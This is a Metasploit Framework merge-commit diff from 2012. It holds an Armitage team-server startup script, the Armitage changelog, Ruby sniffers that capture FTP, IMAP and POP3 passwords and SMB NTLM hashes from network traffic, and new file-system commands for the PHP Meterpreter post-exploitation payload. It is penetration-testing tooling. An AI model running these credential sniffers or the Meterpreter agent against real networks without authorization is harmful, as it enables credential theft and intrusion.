Merge branch 'master' into powershell

This commit is contained in:
RageLtMan
2012-05-18 12:57:52 -04:00
8621 changed files with 1030696 additions and 45911 deletions
+5
View File
@@ -1,5 +1,10 @@
data/meterpreter/ext_server_pivot.dll
data/meterpreter/ext_server_pivot.x64.dll
external/source/meterpreter/java/bin
external/source/meterpreter/java/build
external/source/meterpreter/java/extensions
external/source/javapayload/bin
external/source/javapayload/build
tags
*.swp
*.orig
-3
View File
@@ -1,3 +0,0 @@
[submodule "lib/msf3"]
path = lib/msf3
url = git@framework.github.com:rapid7/metasploit-framework.git
Executable
+8
View File
@@ -0,0 +1,8 @@
source 'http://rubygems.org'
gem 'rails', '3.2.2'
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
gem 'pg', '>=0.13'
gem 'msgpack'
gem 'nokogiri'
Binary file not shown.
+72
View File
@@ -0,0 +1,72 @@
#!/bin/bash
# start msfrpcd and the deconfliction server. Check for common mistakes
# to save some time and head scratching...
# check the arguments
EXPECTED=2
if [ $# -ne $EXPECTED ]; then
echo "[-] You must provide: <external IP address> <team password>"
echo " <external IP address> must be reachable by Armitage"
echo " clients on port 55553"
echo " <team password> is a shared password your team uses to"
echo " authenticate to the Armitage team server"
exit
fi
# check that we're r00t
if [ $UID -ne 0 ]; then
echo "[-] Superuser privileges are required to run the team server"
exit
fi
# check if java is available...
if [ $(command -v java) ]; then
true
else
echo "[-] java is not in \$PATH"
echo " is Java installed?"
exit
fi
# check if keytool is available...
if [ $(command -v keytool) ]; then
true
else
echo "[-] keytool is not in \$PATH"
echo " install the Java Developer Kit"
exit
fi
# check if msfrpcd is available
if [ $(command -v msfrpcd) ]; then
true
else
echo "[-] msfrpcd is not in \$PATH"
echo " is Metasploit installed?"
exit
fi
# check if msfrpcd is running or not
if [ "$(pidof msfrpcd)" ]; then
echo "[-] msfrpcd is already running. Kill it before running this script"
echo " try: killall -9 msfrpcd"
exit
fi
# generate a certificate
# naturally you're welcome to replace this step with your own permanent certificate.
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
# is printed so users may have a chance to verify they're not being owned.
echo "[+] Generating X509 certificate and keystore (for SSL)"
rm -f ./armitage.store
keytool -keystore ./armitage.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias armitage -dname "CN=Armitage Hacker, OU=FastAndEasyHacking, O=Armitage, L=Somewhere, S=Cyberspace, C=Earth"
# start everything up
echo "[+] Starting RPC daemon"
msfrpcd -U msf -P $2 -a 127.0.0.1 -p 55554 -S
echo "[+] sleeping for 20s (to let msfrpcd initialize)"
sleep 20
echo "[+] Starting Armitage team server"
java -Djavax.net.ssl.keyStore=./armitage.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+UseParallelGC -jar armitage.jar --server $1 55554 msf $2 55553
+158
View File
@@ -1,6 +1,164 @@
Armitage Changelog
==================
17 May 12
---------
- Fixed bug with loot/download viewer breaking with a font resize.
- Default console font color is now grey. I never noticed that I had
white text on a black background before. That's a lot of contrast.
This is adjustable too through Armitage -> Preferences.
- And... the Armitage console now displays pretty colors. If you don't
like colors, set the console.show_colors.boolean preference to false
through Armitage -> Preferences.
- Fixed a bug preventing input field from getting focus when popping a
console tab using Ctrl+W.
14 May 12
---------
- Oopserific--dynamic workspace shortcuts were not bound until you
clicked the Workspaces menu. I fixed that.
- Improved console pool's ability to detect a dead console. If you saw
"null" prompts in an open tab, it's because of a dead console. Fixed
- Bound Ctrl+Backspace to reset dynamic workspaces. Ctrl+0 is now back
to what it originally did (resetting the font size to default).
- Added Ctrl+T to take a screenshot of the active tab
- Added Ctrl+W to pop the active tab into its own window
- Armitage team server is now SSL enabled. The teamserver script (you
are using it, right?) generates a certificate for you using keytool.
The server presents the SHA1 hash of its certificate. Armitage users
have the opportunity to verify and trust the hash of the certificate
presented to them or to reject it and not connect.
- Added Ctrl+Left / Ctrl+Right to quickly navigate through tabs.
- Added a check to prevent clients from connecting to msfrpcd directly
when teaming is enabled.
- Fixed a bug that prevented command shells from opening on some sessions
- Team server client now caches certain calls to RPC server.
- Reworked the Loot/Downloads View button. Now, all highlighted files are
displayed in one View tab. This makes searching easier. Each file is
displayed with a colored header (to make it easier to tell when one file
ends and the other begins).
- Added Sync Files button to Loot/Downloads tabs when connected to a team
server. This button will download all files associated with the highlighted
rows and save them in the Armitage data directory.
7 May 12
--------
Note: Armitage team server setup has changed. Refer to the manual for
the latest information: http://www.fastandeasyhacking.com/manual#7
- Armitage team mode now routes all Metasploit-bound calls through the
deconfliction server. Armitage also pools "temporary" Metasploit
consoles. It's too bad this is logged as one change, because it's
more like twenty. These changes were motivated by a desire to avoid
triggering a race condition that was introduced w/ Metasploit 4.3.0.
http://dev.metasploit.com/redmine/issues/6829
On the bright side these changes will allow a lot more flexibility
to optimize how Armitage interacts with msfrpcd and to do some neat
things (like logging) in a centralized way.
- Module description (in module launch dialog) is now resizable.
- Added Ctrl+D keyboard shortcut to close active tab.
- Armitage now uses (more robust) console queue for launching post
modules, handlers, brute force attacks, and other things.
- Fixed a race condition in the Jobs tab refresh after killing a job
- Armitage now filters smb hashes from non-psexec/smb login dialogs.
- Added armitage.log_data_here.folder setting. This setting lets you
specify where Armitage will save its logs, downloaded files, and
screenshots. *cough* Some penetration testers like to dump everything
to an encrypted volume. *cough*. I apologize it took this long to
get this feature in place.
- Improved perceived responsiveness of a console interaction
17 Apr 12
---------
- Modified how Armitage determines a console command is complete to stay
compat with behavior changes in a recent Metasploit update.
- Armitage now queues console commands to prevent out of order execution.
16 Apr 12
---------
- The search field in the module browser now updates results in real time.
Start typing and Armitage will start filtering the module tree for you.
Clear the field to reset it to the default state.
- Added keyboard shortcuts to switch dynamic workspaces...
Ctrl+1 = first workspace
Ctrl+2 = second workspace
....
Ctrl+0 = show all
- Added keyboard shortcuts:
Ctrl+N = new console
Ctrl+O = open preferences
- Armitage's Meterpreter -> Access -> Dump Hashes -> lsass method is now
much better about grabbing all of the hashdump output and adding it to
the creds table. The hashdump command returns output as an arbitrary
number of chunks. I now use a different read strategy for determining when
the output is complete.
- You may now use Ctrl+Alt to deselect highlighted items in a range in the
Jobs and Workspaces table views (most other table views that do multi
selection should allow this already).
- Added Shell -> Pass Session for *NIX shell sessions. Uses the system_session
module to pass a shell session elsewhere (or duplicate the current shell)
29 Mar 12
---------
- Fixed a bug that affects first-time users. Armitage was not initializing a
console before trying to connect to the database.
28 Mar 12
---------
- Team server now delivers chat messages in batches vs. one line at a time.
This will make syncing on reconnect much better (in theory)
- Several optimizations to prevent unnecessary reads/calls to deconfliction
server when in team mode. This will primarily affect high latency situations.
- Use Shift+Click to close all tabs with the same name. This feature now closes
all tabs in the same group (e.g., all screenshots, file browsers, command
shells, etc.)
- Armitage now logs launches of the enum_dns module.
- Hosts -> DNS Enumerate now populates NS field with highlighted host.
- Armitage now adds a tooltip to tabs associated with a session. Hover your
mouse over a tab X button to see which host the tab is associated with.
- Fixed a potential exception caused when listing downloads.
- Created a queue to process certain commands meant for Metasploit in order and
in a throttled manner. Started moving some Armitage calls to it. Now you can
fire an exploit at 1,000 hosts and Armitage won't blink. It might take awhile
before that exploit finishes firing against all of the hosts though :)
- The file browser now has a "List Drives" button. It's only available on
Windows sessions. Click it to see which drives are available.
- File browser can now navigate to folders with apostrophes in their name.
- Made some major internal changes to how Armitage interacts with Metasploit. The
goal is to make a more robust and faster hacking experience for you.
22 Mar 12
---------
- Updated Armitage NMap profiles with the following:
-T4 (instead of -T5) [wait longer for open services to reply]
-n [forces NMap to not resolve the hostname of IP addresses]
--min-hostgroup 96 [allows more parallelism when scanning hosts]
- Armitage now intercepts screenshot and webcam_snap commands from meterpreter
shell and performs the appropriate action with them.
- View -> Creds -> Export button now works in team mode.
- Doh! Armitage now properly shows VMWare icon when OS is set to a VMWare ESXi
- Armitage "is command finished?" heuristic now accounts for commands like
del /S which prompt with a (Y/N)? - you can safely use these commands again.
- Armitage now detects whether a client connecting to the team server is out
dated or not. It rejects old clients. They will get a message indicating they
need to update and then their client won't do anything else. You'll see a
message printed to STDOUT where the team server ran about the rejection.
- Added a * indicator to the active workspace in the workspaces menu.
- Added Hosts -> DNS Enumerate, this menu launches a Metasploit module that will
attempt to discover hosts by querying a name server in different ways.
- Added a file chooser helper to WORDLIST option.
- Armitage now displays a pivot relationship between a compromised host and the
NAT/proxy device it is connected through.
- Added a Copy button to services tab. This button copies the highlighted hosts
to the clipboard. I found myself needing this several times recently.
- Improved reverse payload selection logic (now it includes rev php meterpreter)
- Armitage now sets a different LPORT for each exploit launched with a rev payload
10:30am
- Changed algorithm for determining which edges to highlight in graph view. If there
is a pivot and both sides have a session, then the edge is highlighted.
8 Mar 12 1.43-dev
--------
- Armitage now uses session_host to determine which host a session is associated
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,3 @@
Manifest-Version: 1.0
SVG-Handler-Class: Exploit
BIN
View File
Binary file not shown.
+11 -11
View File
@@ -15,6 +15,7 @@ class SnifferFTP < BaseProtocolParser
:pass => /^PASS\s+([^\s]+)/i,
:login_pass => /^(230\s*[^\n]+)/i,
:login_fail => /^(5\d\d\s*[^\n]+)/i,
:bye => /^221/
}
end
@@ -23,6 +24,7 @@ class SnifferFTP < BaseProtocolParser
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21)
s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt))
s[:sname] ||= "ftp"
self.sigs.each_key do |k|
# There is only one pattern per run to test
@@ -38,21 +40,17 @@ class SnifferFTP < BaseProtocolParser
when :login_fail
if(s[:user] and s[:pass])
s[:proto]="ftp"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
report_auth_info(s.merge({:active => false}))
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
s[:pass]=""
s[:pass] = ""
return
end
when :login_pass
if(s[:user] and s[:pass])
s[:proto]="ftp"
s[:extra]="Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
# Remove it form the session objects so freeup memory
sessions.delete(s[:session])
return
@@ -60,12 +58,14 @@ class SnifferFTP < BaseProtocolParser
when :banner
# Because some ftp server send multiple banner we take only the first one and ignore the rest
if not (s[:banner])
sessions[s[:session]].merge!({k => matches})
s[:name]="FTP Server Welcome Banner: \"#{s[:banner]}\""
if not (s[:info])
s[:info] = matches
report_service(s)
end
when :bye
sessions.delete(s[:session])
when nil
# No matches, no saved state
else
+4 -10
View File
@@ -25,6 +25,7 @@ class SnifferIMAP < BaseProtocolParser
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143)
s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt))
s[:sname] ||= "imap4"
self.sigs.each_key do |k|
# There is only one pattern per run to test
@@ -38,14 +39,11 @@ class SnifferIMAP < BaseProtocolParser
case matched
when :banner
s[:banner] = matches
s[:name] = "IMAP Server Welcome Banner: #{s[:banner]}"
s[:info] = matches
report_service(s)
when :login_pass
s[:proto]="imap4"
s[:extra]="Sucessful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
@@ -54,18 +52,14 @@ class SnifferIMAP < BaseProtocolParser
when :login_fail
s[:proto]="imap4"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_auth_info(s.merge({:active => false}))
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
sessions.delete(s[:session])
when :login_bad
s[:proto]="imap4"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_auth_info(s.merge({:active => false}))
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
+6 -4
View File
@@ -38,8 +38,9 @@ class SnifferPOP3 < BaseProtocolParser
case s[:last]
when nil
# Its the first +OK must include the banner, worst case its just +OK
s[:banner] = matches
s[:name] = "POP3 Server Welcome Banner: \"#{s[:banner]}\""
s[:info] = matches
s[:proto] = "tcp"
s[:name] = "pop3"
report_service(s)
when :user
@@ -48,8 +49,9 @@ class SnifferPOP3 < BaseProtocolParser
when :pass
# Perfect we get an +OK after a PASS command this means right password given :-)
s[:proto]="pop3"
s[:extra]="Successful Login. Banner: #{s[:banner]}"
s[:proto] = "tcp"
s[:name] = "pop3"
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
+143 -134
View File
@@ -5,26 +5,31 @@
#
#Memo :
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
#FOR SMBV1
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
class SnifferSMB < BaseProtocolParser
def register_sigs
self.sigs = {
:setupandx => /\xffSMB\x73/,
:negotiate => /\xffSMB\x72/,
:smb1_negotiate => /\xffSMB\x72/n,
:smb1_setupandx => /\xffSMB\x73/n,
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
:smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n
}
end
@@ -45,7 +50,7 @@ class SnifferSMB < BaseProtocolParser
end
case matched
when :negotiate
when :smb1_negotiate
payload = pkt.payload.dup
wordcount = payload[36,1].unpack("C")[0]
#negotiate response
@@ -54,128 +59,16 @@ class SnifferSMB < BaseProtocolParser
#the server challenge is here
if flags2 & 0x800 == 0
s[:challenge] = payload[73,8].unpack("H*")[0]
s[:last] = :negotiate
s[:last] = :smb1_negotiate
end
end
when :setupandx
payload = pkt.payload.dup
ntlmpayload = payload[/NTLMSSP\x00.*/m]
if ntlmpayload
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
case ntlmmessagetype
when 2 # challenge
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
s[:last] = :ntlm_type2
when 3 # auth
if s[:last] == :ntlm_type2
lmlength = ntlmpayload[12, 2].unpack("v")[0]
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
domainlength = ntlmpayload[28, 2].unpack("v")[0]
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
usrlength = ntlmpayload[36, 2].unpack("v")[0]
usroffset = ntlmpayload[40, 2].unpack("v")[0]
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
secbloblength = payload[51,2].unpack("v")[0]
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:peer_os] = names[0] || ''
s[:peer_lm] = names[1] || ''
s[:last] = :ntlm_type3
end
end
else
wordcount = payload[36,1].unpack("C")[0]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s[:last] == :negotiate
lmlength = payload[51,2].unpack("v")[0]
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
s[:domain] = names[1]
s[:peer_os] = names[2]
s[:peer_lm] = names[3]
s[:last] = :smb_no_ntlm
else
#answer from server
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
if smb_status == 0 # success
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
logmessage =
"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:host]
dst_ip = s[:session].split("-")[1].split(":")[0]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
)
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
) if (s[:domain] and s[:domain].strip.length > 0)
end
end
end
s[:last] = nil
sessions.delete(s[:session])
end
end
when :smb1_setupandx
s[:smb_version] = "SMBv1"
parse_sessionsetup(pkt, s)
when :smb2_setupandx
s[:smb_version] = "SMBv2"
parse_sessionsetup(pkt, s)
when nil
# No matches, no saved state
else
@@ -197,6 +90,122 @@ class SnifferSMB < BaseProtocolParser
else
raise RuntimeError, "Unknow hash type"
end
end
def parse_sessionsetup(pkt, s)
payload = pkt.payload.dup
ntlmpayload = payload[/NTLMSSP\x00.*/m]
if ntlmpayload
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
case ntlmmessagetype
when 2 # challenge
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
s[:last] = :ntlm_type2
when 3 # auth
if s[:last] == :ntlm_type2
lmlength = ntlmpayload[12, 2].unpack("v")[0]
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
domainlength = ntlmpayload[28, 2].unpack("v")[0]
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
usrlength = ntlmpayload[36, 2].unpack("v")[0]
usroffset = ntlmpayload[40, 2].unpack("v")[0]
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
secbloblength = payload[51,2].unpack("v")[0]
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:peer_os] = names[0] || ''
s[:peer_lm] = names[1] || ''
s[:last] = :ntlm_type3
end
end
else
wordcount = payload[36,1].unpack("C")[0]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1"
lmlength = payload[51,2].unpack("v")[0]
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
s[:domain] = names[1]
s[:peer_os] = names[2]
s[:peer_lm] = names[3]
s[:last] = :smb_no_ntlm
else
#answer from server
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
if smb_status == 0 # success
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
logmessage =
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:client_host]
dst_ip = s[:host]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
)
report_note(
:host => src_ip,
:type => "smb_peer_os",
:data => s[:peer_os]
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_peer_lm",
:data => s[:peer_lm]
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
report_note(
:host => src_ip,
:type => "smb_domain",
:data => s[:domain]
) if (s[:domain] and s[:domain].strip.length > 0)
end
end
end
s[:last] = nil
sessions.delete(s[:session])
end
end
end
end
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
+95 -6
View File
@@ -283,6 +283,7 @@ function cononicalize_path($path) {
# traditionally used this to get environment variables from the server.
#
if (!function_exists('stdapi_fs_file_expand_path')) {
register_command('stdapi_fs_file_expand_path');
function stdapi_fs_file_expand_path($req, &$pkt) {
my_print("doing expand_path");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -320,8 +321,29 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
}
}
if (!function_exists('stdapi_fs_delete_dir')) {
register_command('stdapi_fs_delete_dir');
function stdapi_fs_delete_dir($req, &$pkt) {
my_print("doing rmdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @rmdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
if (!function_exists('stdapi_fs_mkdir')) {
register_command('stdapi_fs_mkdir');
function stdapi_fs_mkdir($req, &$pkt) {
my_print("doing mkdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @mkdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_chdir')) {
register_command('stdapi_fs_chdir');
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -332,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete')) {
register_command('stdapi_fs_delete');
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
@@ -342,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_getwd')) {
register_command('stdapi_fs_getwd');
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
@@ -352,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
register_command('stdapi_fs_ls');
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
@@ -392,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
}
if (!function_exists('stdapi_fs_separator')) {
register_command('stdapi_fs_separator');
function stdapi_fs_separator($req, &$pkt) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
return ERROR_SUCCESS;
@@ -399,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
}
if (!function_exists('stdapi_fs_stat')) {
register_command('stdapi_fs_stat');
function stdapi_fs_stat($req, &$pkt) {
my_print("doing stat");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -431,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
# works
if (!function_exists('stdapi_fs_delete_file')) {
register_command('stdapi_fs_delete_file');
function stdapi_fs_delete_file($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
@@ -446,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
}
if (!function_exists('stdapi_fs_search')) {
register_command('stdapi_fs_search');
function stdapi_fs_search($req, &$pkt) {
my_print("doing search");
@@ -483,10 +512,50 @@ function stdapi_fs_search($req, &$pkt) {
}
}
if (!function_exists('stdapi_fs_md5')) {
register_command("stdapi_fs_md5");
function stdapi_fs_md5($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if (is_callable("md5_file")) {
$md5 = md5_file($path);
} else {
$md5 = md5(file_get_contents($path));
}
$md5 = pack("H*", $md5);
# Ghetto abuse of file name type to indicate the md5 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_fs_sha1')) {
register_command("stdapi_fs_sha1");
function stdapi_fs_sha1($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if (is_callable("sha1_file")) {
$sha1 = sha1_file($path);
} else {
$sha1 = sha1(file_get_contents($path));
}
$sha1 = pack("H*", $sha1);
# Ghetto abuse of file name type to indicate the sha1 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
return ERROR_SUCCESS;
}
}
# Sys Config
# works
if (!function_exists('stdapi_sys_config_getuid')) {
register_command('stdapi_sys_config_getuid');
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid");
if (is_callable('posix_getuid')) {
@@ -505,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
}
# Unimplemented becuase it's unimplementable
